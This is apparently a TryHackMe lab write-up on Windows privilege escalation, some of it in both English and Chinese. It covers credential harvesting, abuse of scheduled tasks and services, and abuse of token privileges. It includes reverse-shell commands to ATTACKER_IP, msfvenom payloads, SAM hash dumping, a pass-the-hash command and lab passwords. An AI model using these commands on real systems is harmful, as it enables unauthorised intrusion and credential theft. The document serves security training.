【THM】Windows Privilege Escalation-Learn
【THM】Windows Privilege Escalation-Learn
hihopkcIntroduction
During a penetration test, you will often have access to some Windows hosts with an unprivileged user. Unprivileged users will hold limited access, including their files and folders only, and have no means to perform administrative tasks on the host, preventing you from having complete control over your target.
This room covers fundamental techniques that attackers can use to elevate privileges in a Windows environment, allowing you to use any initial unprivileged foothold on a host to escalate to an administrator account, where possible.
Windows Privilege Escalation
Simply put, privilege escalation consists of using given access to a host with “user A” and leveraging it to gain access to “user B” by abusing a weakness in the target system. While we will usually want “user B” to have administrative rights, there might be situations where we’ll need to escalate into other unprivileged accounts before actually getting administrative privileges.
Gaining access to different accounts can be as simple as finding credentials in text files or spreadsheets left unsecured by some careless user, but that won’t always be the case. Depending on the situation, we might need to abuse some of the following weaknesses:
- Misconfigurations on Windows services or scheduled tasks
- Excessive privileges assigned to our account
- Vulnerable software
- Missing Windows security patches
Before jumping into the actual techniques, let’s look at the different account types on a Windows system.
Windows Users
Windows systems mainly have two kinds of users. Depending on their access levels, we can categorise a user in one of the following groups:
| Administrators | These users have the most privileges. They can change any system configuration parameter and access any file in the system. |
|---|---|
| Standard Users | These users can access the computer but only perform limited tasks. Typically these users can not make permanent or essential changes to the system and are limited to their files. |
Any user with administrative privileges will be part of the Administrators group. On the other hand, standard users are part of the Users group.
In addition to that, you will usually hear about some special built-in accounts used by the operating system in the context of privilege escalation:
| SYSTEM / LocalSystem | An account used by the operating system to perform internal tasks. It has full access to all files and resources available on the host with even higher privileges than administrators. |
|---|---|
| Local Service | Default account used to run Windows services with “minimum” privileges. It will use anonymous connections over the network. |
| Network Service | Default account used to run Windows services with “minimum” privileges. It will use the computer credentials to authenticate through the network. |
These accounts are created and managed by Windows, and you won’t be able to use them as other regular accounts. Still, in some situations, you may gain their privileges due to exploiting specific services.
Harvesting Passwords from Usual Spots
The easiest way to gain access to another user is to gather credentials from a compromised machine. Such credentials could exist for many reasons, including a careless user leaving them around in plaintext files; or even stored by some software like browsers or email clients.
Unattended Windows Installations
When installing Windows on a large number of hosts, administrators may use Windows Deployment Services, which allows for a single operating system image to be deployed to several hosts through the network. These kinds of installations are referred to as unattended installations as they don’t require user interaction. Such installations require the use of an administrator account to perform the initial setup, which might end up being stored in the machine in the following locations:
- C:\Unattend.xml
- C:\Windows\Panther\Unattend.xml
- C:\Windows\Panther\Unattend\Unattend.xml
- C:\Windows\system32\sysprep.inf
- C:\Windows\system32\sysprep\sysprep.xml
As part of these files, you might encounter credentials:
1 | <Credentials> |
Powershell History
Whenever a user runs a command using Powershell, it gets stored into a file that keeps a memory of past commands. This is useful for repeating commands you have used before quickly. If a user runs a command that includes a password directly as part of the Powershell command line, it can later be retrieved by using the following command from a cmd.exe prompt:
1 | type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt |
Note: The command above will only work from cmd.exe, as Powershell won’t recognize %userprofile% as an environment variable. To read the file from Powershell, you’d have to replace %userprofile% with $Env:userprofile.
Saved Windows Credentials
Windows allows us to use other users’ credentials. This function also gives the option to save these credentials on the system. The command below will list saved credentials:
1 | cmdkey /list |
While you can’t see the actual passwords, if you notice any credentials worth trying, you can use them with the runas command and the /savecred option, as seen below.
1 | runas /savecred /user:admin cmd.exe |
IIS Configuration
Internet Information Services (IIS) is the default web server on Windows installations. The configuration of websites on IIS is stored in a file called web.config and can store passwords for databases or configured authentication mechanisms. Depending on the installed version of IIS, we can find web.config in one of the following locations:
- C:\inetpub\wwwroot\web.config
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
Here is a quick way to find database connection strings on the file:
1 | type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString |
Retrieve Credentials from Software: PuTTY
PuTTY is an SSH client commonly found on Windows systems. Instead of having to specify a connection’s parameters every single time, users can store sessions where the IP, user and other configurations can be stored for later use. While PuTTY won’t allow users to store their SSH password, it will store proxy configurations that include cleartext authentication credentials.
To retrieve the stored proxy credentials, you can search under the following registry key for ProxyPassword with the following command:
1 | reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s |
Note: Simon Tatham is the creator of PuTTY (and his name is part of the path), not the username for which we are retrieving the password. The stored proxy username should also be visible after running the command above.
Just as putty stores credentials, any software that stores passwords, including browsers, email clients, FTP clients, SSH clients, VNC software and others, will have methods to recover any passwords the user has saved.
Other Quick Wins
Privilege escalation is not always a challenge. Some misconfigurations can allow you to obtain higher privileged user access and, in some cases, even administrator access. It would help if you considered these to belong more to the realm of CTF events rather than scenarios you will encounter during real penetration testing engagements. However, if none of the previously mentioned methods works, you can always go back to these.
Scheduled Tasks
Looking into scheduled tasks on the target system, you may see a scheduled task that either lost its binary or it’s using a binary you can modify.
Scheduled tasks can be listed from the command line using the schtasks command without any options. To retrieve detailed information about any of the services, you can use a command like the following one:
1 | C:\> schtasks /query /tn vulntask /fo list /v |
You will get lots of information about the task, but what matters for us is the “Task to Run” parameter which indicates what gets executed by the scheduled task, and the “Run As User” parameter, which shows the user that will be used to execute the task.
If our current user can modify or overwrite the “Task to Run” executable, we can control what gets executed by the taskusr1 user, resulting in a simple privilege escalation. To check the file permissions on the executable, we use icacls:
1 | C:\> icacls c:\tasks\schtask.bat |
As can be seen in the result, the BUILTIN\Users group has full access (F) over the task’s binary. This means we can modify the .bat file and insert any payload we like. For your convenience, nc64.exe can be found on C:\tools. Let’s change the bat file to spawn a reverse shell:
1 | C:\> echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat |
We then start a listener on the attacker machine on the same port we indicated on our reverse shell:
1 | nc -lvp 4444 |
The next time the scheduled task runs, you should receive the reverse shell with taskusr1 privileges. While you probably wouldn’t be able to start the task in a real scenario and would have to wait for the scheduled task to trigger, we have provided your user with permissions to start the task manually to save you some time. We can run the task with the following command:
1 | C:\> schtasks /run /tn vulntask |
And you will receive the reverse shell with taskusr1 privileges as expected:
1 | user@attackerpc$ nc -lvp 4444 |
Go to taskusr1 desktop to retrieve a flag. Don’t forget to input the flag at the end of this task.
Always Install Elevated
Windows installer files (also known as .msi files) are used to install applications on the system. They usually run with the privilege level of the user that starts it. However, these can be configured to run with higher privileges from any user account (even unprivileged ones). This could potentially allow us to generate a malicious MSI file that would run with admin privileges.
Note: The AlwaysInstallElevated method won’t work on this room’s machine and it’s included as information only.
This method requires two registry values to be set. You can query these from the command line using the commands below.
1 | C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer |
To be able to exploit this vulnerability, both should be set. Otherwise, exploitation will not be possible. If these are set, you can generate a malicious .msi file using msfvenom, as seen below:
1 | msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi |
As this is a reverse shell, you should also run the Metasploit Handler module configured accordingly. Once you have transferred the file you have created, you can run the installer with the command below and receive the reverse shell:
1 | C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi |
Abusing Service Misconfigurations
Windows Services
Windows services are managed by the Service Control Manager (SCM). The SCM is a process in charge of managing the state of services as needed, checking the current status of any given service and generally providing a way to configure services.
Each service on a Windows machine will have an associated executable which will be run by the SCM whenever a service is started. It is important to note that service executables implement special functions to be able to communicate with the SCM, and therefore not any executable can be started as a service successfully. Each service also specifies the user account under which the service will run.
To better understand the structure of a service, let’s check the apphostsvc service configuration with the sc qc command:
1 | C:\> sc qc apphostsvc |
Here we can see that the associated executable is specified through the BINARY_PATH_NAME parameter, and the account used to run the service is shown on the SERVICE_START_NAME parameter.
Services have a Discretionary Access Control List (DACL), which indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service, amongst other privileges. The DACL can be seen from Process Hacker (available on your machine’s desktop):
All of the services configurations are stored on the registry under HKLM\SYSTEM\CurrentControlSet\Services\:
A subkey exists for every service in the system. Again, we can see the associated executable on the ImagePath value and the account used to start the service on the ObjectName value. If a DACL has been configured for the service, it will be stored in a subkey called Security. As you have guessed by now, only administrators can modify such registry entries by default.
Insecure Permissions on Service Executable
If the executable associated with a service has weak permissions that allow an attacker to modify or replace it, the attacker can gain the privileges of the service’s account trivially.
To understand how this works, let’s look at a vulnerability found on Splinterware System Scheduler. To start, we will query the service configuration using sc:
1 | C:\> sc qc WindowsScheduler |
We can see that the service installed by the vulnerable software runs as svcuser1 and the executable associated with the service is in C:\Progra~2\System~1\WService.exe. We then proceed to check the permissions on the executable:
1 | C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe |
And here we have something interesting. The Everyone group has modify permissions (M) on the service’s executable. This means we can simply overwrite it with any payload of our preference, and the service will execute it with the privileges of the configured user account.
Let’s generate an exe-service payload using msfvenom and serve it through a python webserver:
1 | user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe |
We can then pull the payload from Powershell with the following command:
1 | wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe |
Once the payload is in the Windows server, we proceed to replace the service executable with our payload. Since we need another user to execute our payload, we’ll want to grant full permissions to the Everyone group as well:
1 | C:\> cd C:\PROGRA~2\SYSTEM~1\ |
We start a reverse listener on our attacker machine:
1 | user@attackerpc$ nc -lvp 4445 |
And finally, restart the service. While in a normal scenario, you would likely have to wait for a service restart, you have been assigned privileges to restart the service yourself to save you some time. Use the following commands from a cmd.exe command prompt:
1 | C:\> sc stop windowsscheduler |
Note: PowerShell has sc as an alias to Set-Content, therefore you need to use sc.exe in order to control services with PowerShell this way.
As a result, you’ll get a reverse shell with svcusr1 privileges:
1 | user@attackerpc$ nc -lvp 4445 |
Go to svcusr1 desktop to retrieve a flag. Don’t forget to input the flag at the end of this task.
Unquoted Service Paths
When we can’t directly write into service executables as before, there might still be a chance to force a service into running arbitrary executables by using a rather obscure feature.
When working with Windows services, a very particular behaviour occurs when the service is configured to point to an “unquoted” executable. By unquoted, we mean that the path of the associated executable isn’t properly quoted to account for spaces on the command.
As an example, let’s look at the difference between two services (these services are used as examples only and might not be available in your machine). The first service will use a proper quotation so that the SCM knows without a doubt that it has to execute the binary file pointed by "C:\Program Files\RealVNC\VNC Server\vncserver.exe", followed by the given parameters:
1 | C:\> sc qc "vncserver" |
Remember: PowerShell has ‘sc’ as an alias to ‘Set-Content’, therefore you need to use ‘sc.exe’ to control services if you are in a PowerShell prompt.
Now let’s look at another service without proper quotation:
1 | C:\> sc qc "disk sorter enterprise" |
When the SCM tries to execute the associated binary, a problem arises. Since there are spaces on the name of the “Disk Sorter Enterprise” folder, the command becomes ambiguous, and the SCM doesn’t know which of the following you are trying to execute:
| Command | Argument 1 | Argument 2 |
|---|---|---|
| C:\MyPrograms\Disk.exe | Sorter | Enterprise\bin\disksrs.exe |
| C:\MyPrograms\Disk Sorter.exe | Enterprise\bin\disksrs.exe | |
| C:\MyPrograms\Disk Sorter Enterprise\bin\disksrs.exe |
This has to do with how the command prompt parses a command. Usually, when you send a command, spaces are used as argument separators unless they are part of a quoted string. This means the “right” interpretation of the unquoted command would be to execute C:\\MyPrograms\\Disk.exe and take the rest as arguments.
Instead of failing as it probably should, SCM tries to help the user and starts searching for each of the binaries in the order shown in the table:
- First, search for
C:\\MyPrograms\\Disk.exe. If it exists, the service will run this executable. - If the latter doesn’t exist, it will then search for
C:\\MyPrograms\\Disk Sorter.exe. If it exists, the service will run this executable. - If the latter doesn’t exist, it will then search for
C:\\MyPrograms\\Disk Sorter Enterprise\\bin\\disksrs.exe. This option is expected to succeed and will typically be run in a default installation.
From this behaviour, the problem becomes evident. If an attacker creates any of the executables that are searched for before the expected service executable, they can force the service to run an arbitrary executable.
While this sounds trivial, most of the service executables will be installed under C:\Program Files or C:\Program Files (x86) by default, which isn’t writable by unprivileged users. This prevents any vulnerable service from being exploited. There are exceptions to this rule: - Some installers change the permissions on the installed folders, making the services vulnerable. - An administrator might decide to install the service binaries in a non-default path. If such a path is world-writable, the vulnerability can be exploited.
In our case, the Administrator installed the Disk Sorter binaries under c:\MyPrograms. By default, this inherits the permissions of the C:\ directory, which allows any user to create files and folders in it. We can check this using icacls:
1 | C:\>icacls c:\MyPrograms |
The BUILTIN\\Users group has AD and WD privileges, allowing the user to create subdirectories and files, respectively.
The process of creating an exe-service payload with msfvenom and transferring it to the target host is the same as before, so feel free to create the following payload and upload it to the server as before. We will also start a listener to receive the reverse shell when it gets executed:
1 | user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe |
Once the payload is in the server, move it to any of the locations where hijacking might occur. In this case, we will be moving our payload to C:\MyPrograms\Disk.exe. We will also grant Everyone full permissions on the file to make sure it can be executed by the service:
1 | C:\> move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe |
Once the service gets restarted, your payload should execute:
1 | C:\> sc stop "disk sorter enterprise" |
As a result, you’ll get a reverse shell with svcusr2 privileges:
1 | user@attackerpc$ nc -lvp 4446 |
Go to svcusr2 desktop to retrieve a flag. Don’t forget to input the flag at the end of this task.
Insecure Service Permissions
You might still have a slight chance of taking advantage of a service if the service’s executable DACL is well configured, and the service’s binary path is rightly quoted. Should the service DACL (not the service’s executable DACL) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.
To check for a service DACL from the command line, you can use Accesschk from the Sysinternals suite. For your convenience, a copy is available at C:\\tools. The command to check for the thmservice service DACL is:
1 | C:\tools\AccessChk> accesschk64.exe -qlc thmservice |
Here we can see that the BUILTIN\\Users group has the SERVICE_ALL_ACCESS permission, which means any user can reconfigure the service.
Before changing the service, let’s build another exe-service reverse shell and start a listener for it on the attacker’s machine:
1 | user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe |
We will then transfer the reverse shell executable to the target machine and store it in C:\Users\thm-unpriv\rev-svc3.exe. Feel free to use wget to transfer your executable and move it to the desired location. Remember to grant permissions to Everyone to execute your payload:
1 | C:\> icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F |
To change the service’s associated executable and account, we can use the following command (mind the spaces after the equal signs when using sc.exe):
1 | C:\> sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem |
Notice we can use any account to run the service. We chose LocalSystem as it is the highest privileged account available. To trigger our payload, all that rests is restarting the service:
1 | C:\> sc stop THMService |
And we will receive a shell back in our attacker’s machine with SYSTEM privileges:
1 | user@attackerpc$ nc -lvp 4447 |
Abusing dangerous privileges
Windows Privileges Windows 权限
Privileges are rights that an account has to perform specific system-related tasks. These tasks can be as simple as the privilege to shut down the machine up to privileges to bypass some DACL-based access controls.
权限是帐户执行特定系统相关任务所具有的权限。这些任务可以像关闭计算机的权限一样简单，也可以绕过某些基于 DACL 的访问控制的权限。
Each user has a set of assigned privileges that can be checked with the following command:
每个用户都有一组分配的权限，可以使用以下命令进行检查：
1 | whoami /priv |
A complete list of available privileges on Windows systems is available here. From an attacker’s standpoint, only those privileges that allow us to escalate in the system are of interest. You can find a comprehensive list of exploitable privileges on the Priv2Admin Github project.
此处提供了 Windows 系统上可用权限的完整列表。从攻击者的角度来看，只有那些允许我们在系统中升级的权限才有意义。您可以在 Priv2Admin Github 项目上找到可利用权限的完整列表。
While we won’t take a look at each of them, we will showcase how to abuse some of the most common privileges you can find.
虽然我们不会逐一介绍，但我们将展示如何滥用您能找到的一些最常见的特权。
SeBackup / SeRestore
The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.
SeBackup 和 SeRestore 权限允许用户读取和写入系统中的任何文件，忽略任何 DACL。此权限背后的想法是允许某些用户从系统执行备份，而无需完全管理权限。
Having this power, an attacker can trivially escalate privileges on the system by using many techniques. The one we will look at consists of copying the SAM and SYSTEM registry hives to extract the local Administrator’s password hash.
有了这种能力，攻击者就可以通过使用许多技术来轻易地提升系统上的权限。我们将要介绍的配置单元包括复制 SAM 和 SYSTEM 注册表配置单元以提取本地管理员的密码哈希值。
Log in to the target machine via RDP using the following credentials:
使用以下凭据通过 RDP 登录到目标计算机：
User: THMBackup 用户： THMBackup
Password: CopyMaster555 密码： CopyMaster555
This account is part of the “Backup Operators” group, which by default is granted the SeBackup and SeRestore privileges. We will need to open a command prompt using the “Open as administrator” option to use these privileges. We will be asked to input our password again to get an elevated console:
此帐户是“备份操作员”组的一部分，默认情况下，该组被授予 SeBackup 和 SeRestore 权限。我们需要使用“以管理员身份打开”选项打开命令提示符才能使用这些权限。系统将要求我们再次输入密码以获得提升的控制台：
Once on the command prompt, we can check our privileges with the following command:
进入命令提示符后，我们可以使用以下命令检查我们的权限：
Command Prompt 命令提示符
1 | C:\> whoami /priv |
To backup the SAM and SYSTEM hashes, we can use the following commands:
要备份 SAM 和 SYSTEM 哈希，我们可以使用以下命令：
Command Prompt 命令提示符
1 | C:\> reg save hklm\system C:\Users\THMBackup\system.hive |
This will create a couple of files with the registry hives content. We can now copy these files to our attacker machine using SMB or any other available method. For SMB, we can use impacket’s smbserver.py to start a simple SMB server with a network share in the current directory of our AttackBox:
这将创建几个包含注册表配置单元内容的文件。现在，我们可以使用 SMB 或任何其他可用方法将这些文件复制到攻击者的计算机上。对于 SMB，我们可以使用 impacket smbserver.py 在 AttackBox 的当前目录中启动一个简单的 SMB 服务器，该服务器具有网络共享：
Kali Linux
1 | user@attackerpc$ mkdir share |
This will create a share named public pointing to the share directory, which requires the username and password of our current windows session. After this, we can use the copy command in our windows machine to transfer both files to our AttackBox:
这将创建一个名为 public “指向 share 目录”的共享，该共享需要当前 Windows 会话的用户名和密码。在此之后，我们可以使用 Windows 机器中 copy 的命令将两个文件传输到我们的 AttackBox：
Command Prompt 命令提示符
1 | C:\> copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\ |
And use impacket to retrieve the users’ password hashes:
并使用 impacket 检索用户的密码哈希值：
Kali Linux
1 | user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL |
We can finally use the Administrator’s hash to perform a Pass-the-Hash attack and gain access to the target machine with SYSTEM privileges:
我们最终可以使用管理员的哈希值来执行 Pass-the-Hash 攻击，并以 SYSTEM 权限访问目标计算机：
Kali Linux
1 | user@attackerpc$ python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@10.10.220.201 |
SeTakeOwnership SeTake所有权
The SeTakeOwnership privilege allows a user to take ownership of any object on the system, including files and registry keys, opening up many possibilities for an attacker to elevate privileges, as we could, for example, search for a service running as SYSTEM and take ownership of the service’s executable. For this task, we will be taking a different route, however.
SeTakeOwnership 权限允许用户获取系统上任何对象的所有权，包括文件和注册表项，这为攻击者提升权限提供了许多可能性，例如，我们可以搜索以 SYSTEM 身份运行的服务并获取服务可执行文件的所有权。然而，对于这项任务，我们将采取不同的路线。
Log in to the target machine via RDP using the following credentials:
使用以下凭据通过 RDP 登录到目标计算机：
User: THMTakeOwnership 用户： THMTakeOwnership
Password: TheWorldIsMine2022 密码： TheWorldIsMine2022
To get the SeTakeOwnership privilege, we need to open a command prompt using the “Open as administrator” option. We will be asked to input our password to get an elevated console:
要获得 SeTakeOwnership 权限，我们需要使用“以管理员身份打开”选项打开命令提示符。我们将被要求输入密码以获得提升的控制台：
Once on the command prompt, we can check our privileges with the following command:
进入命令提示符后，我们可以使用以下命令检查我们的权限：
Command Prompt 命令提示符
1 | C:\> whoami /priv |
We’ll abuse utilman.exe to escalate privileges this time. Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen:
这次我们将滥用 utilman.exe 权限来升级权限。Utilman 是一个内置的 Windows 应用程序，用于在锁屏期间提供轻松访问选项：
Since Utilman is run with SYSTEM privileges, we will effectively gain SYSTEM privileges if we replace the original binary for any payload we like. As we can take ownership of any file, replacing it is trivial.
由于 Utilman 是以 SYSTEM 权限运行的，因此如果我们将原始二进制文件替换为我们喜欢的任何有效负载，我们将有效地获得 SYSTEM 权限。由于我们可以拥有任何文件的所有权，因此替换它是微不足道的。
To replace utilman, we will start by taking ownership of it with the following command:
要替换 utilman，我们将首先使用以下命令获取它的所有权：
Command Prompt 命令提示符
1 | C:\> takeown /f C:\Windows\System32\Utilman.exe |
Notice that being the owner of a file doesn’t necessarily mean that you have privileges over it, but being the owner you can assign yourself any privileges you need. To give your user full permissions over utilman.exe you can use the following command:
请注意，作为文件的所有者并不一定意味着您对它拥有权限，但作为所有者，您可以为自己分配所需的任何权限。若要授予用户对 utilman.exe 的完全权限，可以使用以下命令：
Command Prompt 命令提示符
1 | C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F |
After this, we will replace utilman.exe with a copy of cmd.exe:
在此之后，我们将用 cmd.exe 的副本替换 utilman.exe：
Command Prompt 命令提示符
1 | C:\Windows\System32\> copy cmd.exe utilman.exe |
To trigger utilman, we will lock our screen from the start button:
要触发utilman，我们将从开始按钮锁定屏幕：
And finally, proceed to click on the “Ease of Access” button, which runs utilman.exe with SYSTEM privileges. Since we replaced it with a cmd.exe copy, we will get a command prompt with SYSTEM privileges:
最后，继续单击“轻松访问”按钮，该按钮以系统权限运行utilman.exe。由于我们将其替换为 cmd.exe 副本，因此我们将获得具有 SYSTEM 权限的命令提示符：
SeImpersonate / SeAssignPrimaryToken
These privileges allow a process to impersonate other users and act on their behalf. Impersonation usually consists of being able to spawn a process or thread under the security context of another user.
这些权限允许进程模拟其他用户并代表他们执行操作。模拟通常包括能够在另一个用户的安全上下文中生成进程或线程。
Impersonation is easily understood when you think about how an FTP server works. The FTP server must restrict users to only access the files they should be allowed to see.
当您考虑 FTP 服务器的工作方式时，模拟很容易理解。FTP 服务器必须限制用户仅访问应允许他们查看的文件。
Let’s assume we have an FTP service running with user ftp. Without impersonation, if user Ann logs into the FTP server and tries to access her files, the FTP service would try to access them with its access token rather than Ann’s:
假设我们有一个 FTP 服务，用户 ftp .如果没有模拟，如果用户 Ann 登录到 FTP 服务器并尝试访问她的文件，则 FTP 服务将尝试使用其访问令牌而不是 Ann 的访问令牌来访问它们：
There are several reasons why using ftp’s token is not the best idea: - For the files to be served correctly, they would need to be accessible to the ftp user. In the example above, the FTP service would be able to access Ann’s files, but not Bill’s files, as the DACL in Bill’s files doesn’t allow user ftp. This adds complexity as we must manually configure specific permissions for each served file/directory. - For the operating system, all files are accessed by user ftp, independent of which user is currently logged in to the FTP service. This makes it impossible to delegate the authorisation to the operating system; therefore, the FTP service must implement it. - If the FTP service were compromised at some point, the attacker would immediately gain access to all of the folders to which the ftp user has access.
使用 ftp 的令牌不是最好的主意有几个原因： - 为了正确提供文件， ftp 用户需要可以访问它们。在上面的示例中，FTP 服务将能够访问 Ann 的文件，但不能访问 Bill 的文件，因为 Bill 文件中的 DACL 不允许用户 ftp .这增加了复杂性，因为我们必须为每个提供的文件/目录手动配置特定权限。- 对于操作系统，所有文件都由用户 ftp 访问，与当前登录FTP服务的用户无关。这使得无法将授权委托给操作系统;因此，FTP 服务必须实现它。- 如果 FTP 服务在某个时候遭到破坏，攻击者将立即获得 ftp 对用户有权访问的所有文件夹的访问权限。
If, on the other hand, the FTP service’s user has the SeImpersonate or SeAssignPrimaryToken privilege, all of this is simplified a bit, as the FTP service can temporarily grab the access token of the user logging in and use it to perform any task on their behalf:
另一方面，如果 FTP 服务的用户具有 SeImpersonate 或 SeAssignPrimaryToken 权限，则所有这些都会简化一些，因为 FTP 服务可以临时获取登录用户的访问令牌，并使用它来代表他们执行任何任务：
Now, if user Ann logs in to the FTP service and given that the ftp user has impersonation privileges, it can borrow Ann’s access token and use it to access her files. This way, the files don’t need to provide access to user ftp in any way, and the operating system handles authorisation. Since the FTP service is impersonating Ann, it won’t be able to access Jude’s or Bill’s files during that session.
现在，如果用户 Ann 登录到 FTP 服务，并且给定 ftp 用户具有模拟权限，则可以借用 Ann 的访问令牌并使用它来访问她的文件。这样，文件不需要以任何方式向用户 ftp 提供访问权限，操作系统会处理授权。由于 FTP 服务正在模拟 Ann，因此在该会话期间，它将无法访问 Jude 或 Bill 的文件。
As attackers, if we manage to take control of a process with SeImpersonate or SeAssignPrimaryToken privileges, we can impersonate any user connecting and authenticating to that process.
作为攻击者，如果我们设法使用 SeImpersonate 或 SeAssignPrimaryToken 权限控制进程，我们可以模拟连接到该进程并对其进行身份验证的任何用户。
In Windows systems, you will find that the LOCAL SERVICE and NETWORK SERVICE ACCOUNTS already have such privileges. Since these accounts are used to spawn services using restricted accounts, it makes sense to allow them to impersonate connecting users if the service needs. Internet Information Services (IIS) will also create a similar default account called “iis apppool\defaultapppool” for web applications.
在 Windows 系统中，您会发现 LOCAL SERVICE 和 NETWORK SERVICE ACCOUNTS 已经具有此类权限。由于这些帐户用于使用受限帐户生成服务，因此在服务需要时允许它们模拟连接用户是有意义的。Internet Information Services （IIS） 还将为 Web 应用程序创建一个名为“IIS apppool\defaultapppool”的类似默认帐户。
To elevate privileges using such accounts, an attacker needs the following: 1. To spawn a process so that users can connect and authenticate to it for impersonation to occur. 2. Find a way to force privileged users to connect and authenticate to the spawned malicious process.
若要使用此类帐户提升权限，攻击者需要满足以下条件： 1. 生成一个进程，以便用户可以连接到该进程并对其进行身份验证，以便进行模拟。2. 找到一种方法来强制特权用户连接并验证生成的恶意进程。
We will use RogueWinRM exploit to accomplish both conditions.
我们将使用 RogueWinRM 漏洞来满足这两个条件。
Let’s start by assuming we have already compromised a website running on IIS and that we have planted a web shell on the following address:
首先，假设我们已经破坏了在 IIS 上运行的网站，并且我们已经在以下地址上植入了一个 Web shell：
1 | http://10.10.220.201/ |
We can use the web shell to check for the assigned privileges of the compromised account and confirm we hold both privileges of interest for this task:
我们可以使用 Web Shell 来检查被入侵帐户的已分配权限，并确认我们拥有此任务感兴趣的两个权限：
To use RogueWinRM, we first need to upload the exploit to the target machine. For your convenience, this has already been done, and you can find the exploit in the C:\tools\ folder.
要使用 RogueWinRM，我们首先需要将漏洞上传到目标计算机。为方便起见，这已经完成，您可以在 C:\tools\ 文件夹中找到该漏洞。
The RogueWinRM exploit is possible because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which is simply a port that exposes a Powershell console to be used remotely through the network. Think of it like SSH, but using Powershell.
RogueWinRM 漏洞是可能的，因为每当用户（包括非特权用户）在 Windows 中启动 BITS 服务时，它都会使用 SYSTEM 权限自动创建与端口 5985 的连接。端口 5985 通常用于 WinRM 服务，该服务只是一个公开要通过网络远程使用的 Powershell 控制台的端口。可以把它想象成 SSH，但使用 Powershell。
If, for some reason, the WinRM service isn’t running on the victim server, an attacker can start a fake WinRM service on port 5985 and catch the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, he can execute any command on behalf of the connecting user, which is SYSTEM.
如果由于某种原因，WinRM 服务未在受害服务器上运行，则攻击者可以在端口 5985 上启动虚假的 WinRM 服务，并在启动时捕获 BITS 服务进行的身份验证尝试。如果攻击者具有 SeImpersonate 权限，他可以代表连接用户（即 SYSTEM）执行任何命令。
Before running the exploit, we’ll start a netcat listener to receive a reverse shell on our attacker’s machine:
在运行漏洞利用之前，我们将启动一个 netcat 侦听器，以在攻击者的机器上接收反向 shell：
Kali Linux
1 | user@attackerpc$ nc -lvp 4442 |
And then, use our web shell to trigger the RogueWinRM exploit using the following command:
然后，使用我们的 Web shell 使用以下命令触发 RogueWinRM 漏洞：
1 | c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442" |
Note: The exploit may take up to 2 minutes to work, so your browser may appear as unresponsive for a bit. This happens if you run the exploit multiple times as it must wait for the BITS service to stop before starting it again. The BITS service will stop automatically after 2 minutes of starting.
注意：该漏洞最多可能需要 2 分钟才能生效，因此您的浏览器可能会在一段时间内显示为无响应。如果多次运行该漏洞，则会发生这种情况，因为它必须等待 BITS 服务停止，然后才能重新启动它。BITS 服务将在启动 2 分钟后自动停止。
The -p parameter specifies the executable to be run by the exploit, which is nc64.exe in this case. The -a parameter is used to pass arguments to the executable. Since we want nc64 to establish a reverse shell against our attacker machine, the arguments to pass to netcat will be -e cmd.exe ATTACKER_IP 4442.
该 -p 参数指定要由漏洞利用运行的可执行文件，在本例中为 nc64.exe 可执行文件。该 -a 参数用于将参数传递给可执行文件。由于我们希望 nc64 针对攻击者计算机建立反向 shell，因此传递给 netcat 的参数将是 -e cmd.exe ATTACKER_IP 4442 .
If all was correctly set up, you should expect a shell with SYSTEM privileges:
如果所有设置都正确，您应该期待一个具有 SYSTEM 权限的 shell：
Kali Linux
1 | user@attackerpc$ nc -lvp 4442 |
